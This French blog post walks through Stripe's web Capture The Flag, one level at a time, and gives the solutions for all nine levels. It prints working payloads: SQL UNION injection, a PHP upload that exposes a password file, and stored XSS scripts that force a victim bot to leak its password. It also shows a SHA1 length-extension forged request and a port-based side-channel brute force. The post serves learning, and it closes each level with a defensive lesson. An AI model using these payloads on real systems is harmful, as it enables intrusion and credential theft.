Stripe Capture The Flag: Web Edition


Stripe a lancé la semaine dernière la seconde édition de son CTF, celle-ci orientée web. Le principe est simple : casser des webapps et récupérer le mot de passe pour le niveau suivant. Les sources des applications sont fournies, ce qui permet de bien comprendre l’appli et de tester en local.

Pour avoir une autre vision du concours, il y a aussi le point de vue des admins de Stripe.

Le CTF étant maintenant terminé, voyons ce que cette édition avait dans le ventre.
SPOILER : je vais donner les (des) solutions pour TOUS les niveaux, vous êtes avertis.
SPOILER2 : je vais aussi donner le raisonnement qui a conduit à trouver la faille, ça va donc être (très) long.

Niveau 0, the Secret Safe

Le niveau 0 est une webapp très simple en nodeJS qui stocke des données dans une base SQLite3. Un rapide survol du code source montre un

1
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';

‘LIKE ?’, intéressant. Essayons avec %.

Bingo !

Conclusion du niveau

Faire attention au LIKE.

Niveau 1, the Guessing Game

Le niveau 1 est une webapp très simple en PHP. Le but est de trouver la combinaison secrète (stockée dans un fichier) pour que le site donne le mot de passe. Voilà la partie intéressante :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  $filename = 'secret-combination.txt';
  extract($_GET);
  if (isset($attempt)) {
    $combination = trim(file_get_contents($filename));
    if ($attempt === $combination) {
      echo "<p>How did you know the secret combination was" .
           " $combination!?</p>";
      $next = file_get_contents('level02-password.txt');
      echo "<p>You've earned the password to the access Level 2:" .
           " $next</p>";
    } else {
      echo "<p>Incorrect! The secret combination is not $attempt</p>";
    }
  }
?>

extract() ? Ça fait quoi déjà ? “Import variables from an array into the current symbol table.”. Le mettre juste après $filename était peut-être une mauvaise idée : on va pouvoir l’écraser en passant un paramètre GET en plus.

Conclusion du niveau

Injecter des variables en masse directement depuis ce que l’utilisateur nous envoie vers le scope courant est une mauvaise idée.

Niveau 2, the Social Network

Il s’agit d’une webapp en PHP qui permet d’uploader des images. Le mot de passe est un fichier à côté, qui envoie un intéressant 403 Forbidden.

Voilà le code PHP intéressant :

1
2
3
4
5
6
7
8
$dest_dir = "uploads/";
$dest = $dest_dir . basename($_FILES["dispic"]["name"]);
$src = $_FILES["dispic"]["tmp_name"];
if (move_uploaded_file($src, $dest)) {
  $_SESSION["dispic_url"] = $dest;
  chmod($dest, 0644);
  echo "<p>Successfully uploaded your display picture.</p>";
}

Le chmod 644 semble intéressant, mais les fichiers uploadés se retrouvent dans uploads/, tandis que basename() et move_uploaded_file() condamnent cette voie.
La faille est ici dans ce qui n’est pas vérifié : le type de fichier. Magie du PHP, si un fichier .php se retrouve sur le serveur, il sera interprété.

1
2
3
4
<?php
chmod("../password.txt", 0644);
// ou alors un echo file_get_contents(...)
?>

Conclusion du niveau

L’upload de fichier peut vite tourner au vinaigre. Dans le doute, toujours vérifier qu’on a bien ce que l’on attend. Pour les images, les recompresser peut même éviter des surprises.

Niveau 3, the Secret Vault

Il s’agit d’une application en python qui stocke des secrets derrière un couple identifiant/mot de passe. Mention spéciale à la page de contact sur cette appli qui envoie ici :D

L’appli utilise Flask qui présente quelques failles intéressantes, mais le fichier entropy.dat est bien caché.
Intéressons nous au code qui authentifie l’utilisateur :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
query = """SELECT id, password_hash, salt FROM users
           WHERE username = '{0}' LIMIT 1"""
.format(username)
cursor.execute(query)

res = cursor.fetchone()
if not res:
    return "There's no such user {0}!\n".format(username)
user_id, password_hash, salt = res

calculated_hash = hashlib.sha256(password + salt)
if calculated_hash.hexdigest() != password_hash:
    return "That's not the password for {0}!\n".format(username)

flask.session['user_id'] = user_id

Tient donc, une requête SQL non protégée :) Testons un username à ';update users set salt = '' --

sqlite3.Warning
Warning: you can only execute one statement at a time.

Pas d’update alors. Quelques tentatives plus tard, je tente le UNION :
' UNION SELECT '1', '9f86d...', '' --
Le ‘1’ pour l’id, le ‘9f86d…’ pour le sha256 de ‘test’ (le mot de pase) et ” pour se débarasser du hash.

Bingo ! Après quelques tests pour tomber sur l’id de Bob (qui détient le mot de passe) :

Conclusion du niveau

TOUJOURS protéger ses requêtes SQL ! Ou utiliser un framework qui le fait.

Niveau 4, the Karma Trader

C’est une application en ruby. Chaque utilisateur possède du karma et peut en envoyer. Pour être sûr que l’utilisateur fait confiance au destinataire, celui-ci verra le mot de passe de l’expéditeur. Le but du jeu est de récupérer le mot de passe de karma_fountain, un utilisateur spécial qui a une réserve infinie de karma. On nous le présente également comme un utilisateur très actif qui se loggue toutes les minutes.

L’application est un peu plus complexe que les précédentes : il y a 3 vues et 245 lignes de ruby pour le serveur. Pour les requêtes SQL, l’appli utilise Sequel et des appels comme :

1
2
3
4
5
6
7
8
9
username = params[:username]
password = params[:password]
# ...
DB.conn[:users].insert(
  :username => username,
  :password => password,
  :karma => STARTING_KARMA,
  :last_active => Time.now.utc
  )

Pas d’injection SQL, pas de Mass Assignment non plus.

À ce moment là, j’avais repéré que le username / password n’était pas protégé contre des injections de js, mais j’étais persuadé que j’attaquais un serveur, que karma_fountain n’existait pas. Grossière erreur : Stripe a mis en place un bot pour agir comme karma_fountain et visiter les pages !
Le username est vérifié avec /^\w+$/, mais le password est libre de prendre la forme qu’il veut. Et côté views/home.erb ?

1
2
<%= user[:username] %>
(password: <%= user[:password] %>, last active <%= last_active %>)

Le password n’est pas échappé !

Cerise sur le gâteau : il y a jQuery sur toutes les pages. Ajoutons un utilisateur avec comme mot de passe :

1
2
3
4
5
6
7
<script>
$(function () {
        $("[name=to]").val("test");
        $("[name=amount]").val("1");
        $("form").submit();
});
</script>

Ce script force l’envoie de karma à “test”. Il suffit désormais d’envoyer 1 de karma à karma_fountain : il verra ce mot de passe piégé, enverra malgré lui de l’argent à test, qui aura son mot de passe.

Conclusion du niveau

Il faut échapper (au sens html) ce que l’on va afficher !

Niveau 5, DomainAuthenticator

C’est une appli en ruby qui permet de déléguer l’authentification. Elle prend 3 paramètres : username, password et pingback url. Cette url est celle de l’appli qui fera l’authentification. Si ce service tiers répond “AUTHENTICATED”, l’utilisateur sera loggué sur le domaine de la pingback url.

Le but est d’être loggué sur le domaine level05, ce qui donne accès au mot de passe pour la suite. Dans un soucis de sécurité, les pingback url sont restreints aux serveurs de stripe-ctf.com. Par contre, la description du niveau nous apprend que quelqu’un a oublié de bloquer les requêtes vers les machines du domaine level02.

La machine du level02 nous intéresse, car on peut uploader des scripts dessus ! (des fichiers aussi, mais j’étais parti sur un script) Ajoutons un script qui affiche AUTHENTICATED.

“Remote server responded with: AUTHENTICATED . Unable to authenticate” ?
Voyons comment le serveur valide tout ça :

1
2
3
def authenticated?(body)
  body =~ /[^\w]AUTHENTICATED[^\w]*$/
end

Étrange comme regex. Ajoutons des ” autour de notre réponse et gardons ça dans un coin.

Pour passer le niveau, il faut qu’un level05 affiche AUTHENTICATED. Or, le level05 qui nous donne le résultat affiche la réponse du level02. Et si le level05 tapait sur un level05 qui tapait sur un level02 ? Ça risque de fonctionner, la page utilise indifféremment les paramètres GET comme POST.
Utilisons comme pingback url : https://level05-2.stripe-ctf.com/user-nhtstsyvki/?pingback=https://level02-2.stripe-ctf.com/user-oighnjytga/uploads/lvl5.php&username=test&password=test


“Unable to authenticate as test@level05-2.stripe-ctf.com.”
Presque. Juste parce que la réponse ne matche pas la regex.

Regex ? Ruby ? Faille de sécurité ! Pour ruby, $ représente la fin de la ligne et non pas de la chaîne de caractères. Et si on ajoute des sauts de lignes après le “AUTHENTICATED” ? La ligne se termine par “AUTHENTICATED”, le reste étant quelque lignes en dessous.

1
2
Remote server responded with: Remote server responded with: "AUTHENTICATED"
. Authenticated as test@level02-2.stripe-ctf.com!. Authenticated as test@level05-2.stripe-ctf.com!

Conclusion du niveau

Bien connaitre les particularités du langage aide, et afficher la réponse n’est pas forcément une bonne idée (même si ça facilite le debug).

Niveau 6, Streamer

C’est une appli en ruby, où des utilisateurs peuvent poster des messages qui seront visibles de tous. Il y a la page d’accueil qui affiche les posts (et le formulaire pour en ajouter) et la page de profil qui affiche le couple identifiant / mot de passe de l’utilisateur courant. Le but est de récupérer le mot de passe de level07-password-holder, un utilisateur qui poste régulièrement.

L’application utilise Sequel correctement, pas de faille SQL donc.
Le problème ressemble fort au niveau 4 : un utilisateur se connecte régulièrement sur le site et le mot de passe lui est affiché en clair. Tentons de lui faire poster son propre mot de passe.

Cette fois-ci, le site utilise des protections contre les CSRF ainsi que des :escape_html à plusieurs endroits. Il y a plusieurs endroits où il n’y a pas de :escape_html :

1
2
var username = "<%= @username %>";
var post_data = <%= @posts.to_json %>;

Mais est-ce qu’on peut utiliser les posts ? La seule protection côté serveur est de refuser les ” et ‘. Côté client, les ojects posts (json) sont traité par du javascript avec une méthode escapeHTML qui est à toute épreuve.

Tout n’est pas perdu cependant. Si on injecte </script>… dans un post, le html envoyé au navigateur ressemblera à :

1
2
3
<script>
var post_data = [{"body":"</script>...
</script>

Et le navigateur… interprête le </script>, même si c’était entre “.

Partons donc sur un message avec
</script><script>TODO : HACK</script><script>post_data = [];//
Ainsi, on évitera même les erreurs js qui pourraient casser complètement l’appli. On défonce les applis, mais on le fait proprement.

Ensuite, il faut, pour que le post soit enregistré, qu’il ne contiennent aucune apostrophe ou guillemet. Simple : il suffit de transformer le script en suite de valeurs unicode et de récupérer la string avec un String.fromCharCode. Ainsi, un
eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 112, 119, 101, 100, 34, 41)) sera transformé en eval('alert("pwed")')
Pour générer cette suite de nombres, l’adon firefox HackBar se révèle très utile.

Pour récupérer le mot de passe, sur une autre page que le formulaire de post, utilisons jQuery et une requête ajax :

1
2
3
4
5
6
7
8
$(function () {
  $.get(window.location + "user_info", function (content) {
    passwd = $("table td:eq(1)", content).text();
    $("#title").val("pwned");
    $("#content").val(passwd);
    $("#new_post").submit();
  });
});

Les protections anti CSRF ne se déclenchent pas puisque c’est la page elle-même qui soumet le formulaire. Dans le cas d’un $.post, il aurait fallu penser à récupérer le token anti CSRF.

Puisque le mot de passe de level07-password-holder contient des ” et ‘, il va falloir transformer le mot de passe avant de le poster :

1
2
3
4
passwd2= '';
  for(i = 0; i < passwd.length; i++) {
  passwd2 += passwd.charCodeAt(i) + ',';
}

On transforme tout ça en entiers avec HackBar, que l’on met dans un eval, dans les <script>, et on ajoute le tout dans un commentaire.

A bout de quelques minutes, level07-password-holder est passé sur la page et a posté malgré lui son mot de passe. On voit dans le code source : ,"user":"level07-password-holder","id":null,"body":"39,70,120,90,120,100,74,86,79,71,101,66,121,34,"
Après un String.fromCharCode() : ‘FxZxdJVOGeBy”
PWNED

Conclusion du niveau

Échapper le html. Tout le temps. Protéger l’insertion en base est une bonne idée, mais restreindre les ” et ‘ est clairement insuffisant.

Niveau 7, WaffleCopter

C’est un site en python qui expose quelques pages web indiquant comment contacter une API pour commander des gaufres, et l’API elle même. Il y a aussi une page listant les précédentes requêtes. Le but est de commander une gaufre réservée aux utilisateurs premium, la gaufre de Liège : le code de confirmation est le mot de passe pour la suite.

Pour l’API, il faut poster sur une url des données au format :
count=1&lat=1234&user_id=5&long=5678&waffle=eggo|sig:bc54940e8f88d8b59a93c2c96a03fb289d49978a où la signature est un sha1(api_secret + message). Le api_secret est un code unique par utilisateur. La réponse est de la forme {"confirm_code": "odIwzsrZx0xD9V", "message": "Great news: 1 eggo waffle will soon be flying your way!", "success": true}

Pas de failles côté SQL, pas d’utilisateur en face à qui injecter du js. Premier constat, la page listant les anciens appels prend l’id de l’utilisateur sans se poser de questions. On a les appels complets avec signature des autres utilisateurs, certains premium.

À part ça, rien d’exploitable (en tout cas, rien ne m’a sauté aux yeux). L’appli étant petite, ont commence rapidement à s’interroger sur le sha1. Se pourrait-il que… Oui, oui, et oui !
Ça tombe bien, cette attaque est exactement ce que l’on cherche : ajouter &waffle=liege à la fin de la requête d’un membre premium, que l’on va rejouer, en conservant une signature valide. On se retrouve donc avec : "count=2&lat=42.39561&user_id=2&long=-71.13051&waffle=dream\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02@&waffle=liege|sig:64fb69960032d0100d15f679b02ff7cb50464497"
et le serveur répond :
{u'confirm_code': u'KHqDjfmGUq', u'message': u'Great news: 2 liege waffles will soon be flying your way!', u'success': True}

Tout ça, sans connaitre le api_secret de la personne premium !

Conclusion du niveau

J’avais vaguement entendu parlé de cette attaque sans jamais la voir à l’œuvre. Ajouter un élément terminal empêche l’attaque. Il faut clairement se renseigner avant de mettre en place une signature !

Niveau 8, PasswordDB

Dernier niveau !
Un ensemble de serveurs en python : le serveur principal expose une API pour vérifier un mot de passe. Pour cela, il découpe le mot de passe en 4 morceaux, et demande successivement aux 4 serveurs “fragment” (chunk server) si le fragment correspond à celui que ce dernier est le seul à connaitre. Si le serveur principal s’aperçoit qu’un fragment n’est pas bon, il n’appelle pas les autres mais estime le temps restant pour éviter les timing attacks.

L’API prend en paramètre un json : {"password": "123456789012", "webhooks": []}
“webhooks” est une liste de serveurs, sous la forme host:port, à notifier de la réponse. Ils recevront un POST : {"success": false}, comme la réponse du serveur principal.

Le but du niveau est de trouver le mot de passe.

Les serveurs fragments seront lancés sur des ports aléatoires au démarrage. En plus de cela, les accès réseaux sont très restreints et les serveurs ne peuvent contacter que les serveurs de stripe-ctf.com. La présentation du niveau nous rappelle aussi que la configuration du pare-feu du niveau 2 laisse à désirer. Cerise sur le gâteau, il y a un serveur ssh qui tourne sur la machine 2.

Un mot de passe composé uniquement de nombres est une invitation au brute force. Malheureusement, avec 1012 possibilités, ce n’est pas près d’arriver. À 1 requête par seconde, il faudra 31710 années. En revanche, si on arrivait à brute forcer indépendamment chaque serveur fragment, il suffirait de 4x 1000 requêtes, soit environ 1h. mmmm.

Première étape : tester l’exemple.
On tombe vite sur une page d’erreur : l’exemple propose un “password”: 123456789012, entier, alors que le serveur s’attend à un string.

Oh la page d’erreur trop verbeuse :) On a désormais la liste des ports.

Ensuite, le serveur ssh. On s’aperçoit vite qu’il n’accepte que les clefs ssh comme moyen d’authentification. Heureusement, uploader un script php qui rempli le fichier .ssh/authorized_keys est simple.

Il est temps de tester l’accès à ces serveurs fragments. Raté, seules les requêtes sortantes du level08 passent : 02 vers 08 ne fonctionne pas. Pas de brute force direct, la liste des ports ne sert à rien.

Au tour des webhooks. En mettant un serveur python (python 2.6 est disponible sur la machine du niveau 2), on reçoit :

1
2
3
4
5
6
7
POST / HTTP/1.0
Host:
User-Agent: PasswordChunker
Content-Length: 18
connection: close

{"success": false}

Rien d’intéressant.

Viens ensuite la phase de recherche de LA faille avec le serveur en local.
La liste des ports ne sert à rien. Pas de SQL (le morceau de mot de passe est stocké en mémoire). Pas d’utilisateur. Par contre, Stripe a mis en place des webhooks qui donnent le même résultat à priori que le retour de l’appel de départ. Avec le serveur ssh qui va bien et tout ce qu’il faut (python et ruby) pour scripter et créer des webhooks.
Louche.
Très louche.
L’examen du code ne donne pas grand chose : c’est bien protégé. À part l’exception trop verbeuse de tout à l’heure, rien. Le serveur principal prend la requête, interroge les premiers serveurs fragments, estime le temps restant en cas d’échec et au final renvoie la réponse (sans oublier les webhooks). Le serveur fragment de contente de recevoir les 3 nombres, compare et renvoie le résultat.

Le truc se situe à priori au niveau du webhook.
Pourtant, le POST ne diffère jamais : aucune différence entre 0 et 1 fragment correct.

Puis, à force de tourner en rond : et si c’était un cran en dessous ?
Les détails du Modèle OSI sont un lointain souvenir, mais bon. En fouillant la doc du BaseHTTPRequestHandler que j’utilisais comme webhook de test, je tombe sur des choses intéressantes, dont

1
2
client_address
    Contains a tuple of the form (host, port) referring to the client’s address.

Dans les logs du webhook, je vois alors :

1
2
3
4
('127.0.0.1', 35927)
('127.0.0.1', 35930)
('127.0.0.1', 35933)
('127.0.0.1', 35936)

de 3 en 3 !
Et avec un fragment correct ?

1
2
3
4
('127.0.0.1', 36030)
('127.0.0.1', 36034)
('127.0.0.1', 36038)
('127.0.0.1', 36042)

de 4 en 4 !

Plus on se rapproche de la réponse, plus le serveur fait d’appels aux serveurs fragments, plus il consomme de port. Ce sera donc bien du brute force sur chacun des serveurs fragments. Pour chaque morceaux de 000 à 999 on fait 2 appels : la différence entre les ports indique si le serveur suivant a été appelé.

Puisque je ne suis pas le seul sur ce niveau 8, il va falloir être malin. Si les deux requêtes sont trop éloignées, des ports auront été utilisés pour autre chose. Le serveur répond en https, re-négocier la connexion n’est pas une bonne idée. Autant faire plusieurs mesures, on n’est pas à ça près.

J’ai donc codé deux scripts en python :

– send.py
ouvrir une httplib.HTTPSConnection
Pour un mot de passe entre 000 000000000 et 999 000000000, envoyer 4 requêtes (pour mesurer 3 différences) sur la même connexion
fermer la connexion

– receive.py
Avec un SocketServer.StreamRequestHandler, j’écoute les appels à ce webhook et j’enregistre tous les ports utilisés.
À la fin :
pour chaque essai, je prend le min des valeurs
sur tous les essais, je prend le max et j’ai le mot de passe du fragment.

Après un rapide test en local, je teste en prod.

Première constatation, la prod est lente. En local, sur un ultra portable qui n’est plus tout jeune, je casse un fragment en 143s. En prod, il me faut environ 20min. La charge des utilisateurs voulant trouver le mot de passe et les latences réseaux entre les machines ne doivent pas aider (et encore, j’ai fait tout ça le matin en France, quand les États-Unis dormaient).

Au final, les 3 mesures ont éliminés presque tous les faux positifs (seulement 2 valeurs hautes sur le premier essai, aucune après).

Le reste n’était plus qu’une question de temps.

Conclusion du niveau

Le diable est dans les détails. Même une chose aussi insignifiante que les ports utilisés par le serveur peut anéantir tous les efforts pour sécuriser un mot de passe. Utiliser le fait de n’appeler les serveurs qu’en cas de besoin ressemble à une timing attack. La protection est similaire : soit appeler tous les serveurs ou bien feindre les appels.

Conclusion

Ces exercices ont été très intéressants et permettent facilement de toucher à des situations inédites sans risque (juridique / pénal). Les premiers exercices sont des cas d’école mais rapidement le niveau monte pour arriver à ce que l’on pourrait trouver sur de vrai site internet.
Pour moi, la difficulté des derniers exerices et le fait qu’ils soient quand même vulnérables montre que la sécurité en informatique n’est pas à prendre à la légère.
Enfin, ces exercices étaient guidés. La faille est mise en évidence, les applications sont petites, il y a des indices, il n’y a rien pour brouiller les pistes, etc. Trouver la faille dans ces conditions et avec le code source de l’appli (pour attaquer ou pour défendre) est “simple”.
Je serai bien incapable de débusquer les dernières failles de sécurité sans toutes ces aides (sans parler des attaques plus complexes). La sécurité est un métier à part entière !

Contrat Creative Commons Article écrit sous Creative Commons 3.0 BY-SA.

VN:F [1.9.22_1171]
Rating: +3 (from 3 votes)
Share
Ce contenu a été publié dans Non classé, avec comme mot(s)-clef(s) . Vous pouvez le mettre en favoris avec ce permalien.

7 réponses à Stripe Capture The Flag: Web Edition

  1. Damien V. dit :

    Nice. Encore un challenge de hack. Je m’y mets dès ce soir :P

    Du coup, je ne lis pas ton article pour pas me gacher le plaisir.

    VN:F [1.9.22_1171]
    Rating: 0 (from 0 votes)
  2. Arnaud Gourlay dit :

    Good job!

    VN:F [1.9.22_1171]
    Rating: +2 (from 2 votes)
  3. Ping : .:[ d4 n3wS ]:. » CTF de Stripe 2012 : les solutions

  4. mgrenonville@excilys.com dit :

    Ahh interessant de faire 4 appels pour le dernier niveau ! Pour ma part, j’ai fait seulement 1 appel, puis brute-force sur les faux positifs (au final, une dizaine parmi les 999) Je pense que ca doit aller un peu plus vite malgré tout !

    J’ai beaucoup aimé la partie web XSS trop souvent négligé, et qui peut être dévastatrice.

    Et en plus, on a nos t-shirts ! \o/

    VN:F [1.9.22_1171]
    Rating: 0 (from 0 votes)

Laisser un commentaire